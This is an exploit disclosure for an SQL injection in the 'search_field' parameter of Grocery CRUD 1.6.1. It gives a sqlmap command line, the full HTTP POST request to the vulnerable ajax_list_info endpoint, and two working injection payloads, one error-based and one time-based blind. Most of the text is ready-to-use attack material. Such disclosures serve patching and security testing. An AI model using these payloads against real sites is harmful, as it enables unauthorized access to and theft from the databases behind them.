Grocery crud 1.6.1 - 'search_field' SQL Injection

# Exploit Title: Grocery crud 1.6.1 - 'search_field' SQL Injection
# Google Dork: n/a
# Date: 2018-11-05
# Exploit Author: Loading Kura Kura  
# Vendor Homepage: https://www.grocerycrud.com/
# Software Link: https://www.grocerycrud.com/downloads
# Version: 1.6.1
# Tested on: Win10/Kali Linux
# CVE : 

# 1. Proof of Concept :
# save request to file, example request.txt

sqlmap -r grocery.txt --level=3 --risk=2 --dbs --dbms=mysql --fresh-queries -p search_field

Request
========================
POST /grocerycrud/index.php/examples/customers_management/ajax_list_info HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/grocerycrud/index.php/examples/customers_management
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Connection: close

search_text=dd&search_field=%5c%27city&per_page=10&order_by%5B0%5D=&order_by%5B1%5D=&page=1

========================

vuln on parameter "search_field"
================================
Parameter: search_field (POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: search_text=dd&search_field=-7154 OR 1 GROUP BY CONCAT(0x7178707a71,(SELECT (CASE WHEN (3651=3651) THEN 1 ELSE 0 END)),0x716b6a6271,FLOOR(RAND(0)*2)) HAVING MIN(0)#&per_page=10&order_by[0]=&order_by[1]=&page=1

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: search_text=dd&search_field=(CASE WHEN (2922=2922) THEN SLEEP(5) ELSE 2922 END)&per_page=10&order_by[0]=&order_by[1]=&page=1

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